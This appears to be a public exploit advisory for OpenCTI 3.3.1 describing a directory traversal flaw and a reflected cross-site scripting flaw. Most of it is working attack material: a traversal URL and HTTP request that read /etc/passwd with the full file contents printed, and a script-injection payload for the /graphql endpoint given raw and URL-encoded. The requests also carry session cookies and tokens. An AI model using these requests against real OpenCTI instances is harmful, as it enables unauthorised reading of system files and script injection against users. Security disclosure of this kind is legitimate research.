OpenCTI 3.3.1 Cross Site Scripting / Directory Traversal

2020.06.18
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79
CWE-22

# Exploit Title: OpenCTI 3.3.1 - Directory Traversal # Date: 2020-03-05 # Exploit Author: Raif Berkay Dincel # Vendor Homepage: www.opencti.io/ # Software [https://github.com/OpenCTI-Platform/opencti/releases/tag/3.3.1] # Version: [3.3.1] # CVE-ID: N/A # Tested on: Linux Mint / Windows 10 # Vulnerabilities Discovered Date : 2020/03/05 [YYYY/MM/DD] # As a result of the research, two vulnerability were identified. (Directory Traversal & Cross Site Scripting [XSS]) # Technical information is provided below step by step. # [1] - Directory Traversal Vulnerability # Vulnerable Parameter Type: GET # Vulnerable Parameter: TARGET/static/css/[Payload] # Proof of Concepts: https://TARGET/static/css//../../../../../../../../etc/passwd # HTTP Request: GET /static/css//../../../../../../../../etc/passwd HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: connect.sid=s%3ATkG_XOPI-x4FclzoLAZvx_oBEHaTkG4N.kwp3h9LAyBrG03SzzT8ApZu0CRaUwI5CP7yizXTerYM; opencti_token=df8635b1-39b5-41c2-8873-2f19b0e6ca8c Upgrade-Insecure-Requests: 1 # HTTP Response HTTP/1.1 200 OK X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: text/css; charset=utf-8 ETag: W/"500-eiHlcjY0lWovE9oQsRof3WWtG1o" Vary: Accept-Encoding Date: Sun, 03 May 2020 01:25:21 GMT Connection: close Content-Length: 1280 root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin node:x:1000:1000:Linux User,,,:/home/node:/bin/sh # [2] - Cross Site Scripting (XSS) Vulnerability # Vulnerable Parameter Type: GET # Vulnerable Parameter: TARGET/graphql?[Payload] # Proof of Concepts: TARGET/graphql?'"--></style></scRipt><scRipt>alert('Raif_Berkay')</scRipt> https://TARGET/graphql?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(%27Raif_Berkay%27)%3C/scRipt%3E # HTTP Request: GET /graphql?'"--></style></scRipt><scRipt>alert('Raif_Berkay')</scRipt> HTTP/1.1 Host: TARGET Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Cookie: opencti_token=2b4f29e3-5ea8-4890-8cf5-a76f61f1e2b2; connect.sid=s%3AB8USExilsGXulGOc09fo92piRjpWNtUo.GZ9pmhOf7i1l78t%2BHVk9zh9AQ9BTO%2BHvCRix3iXv6iw User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36


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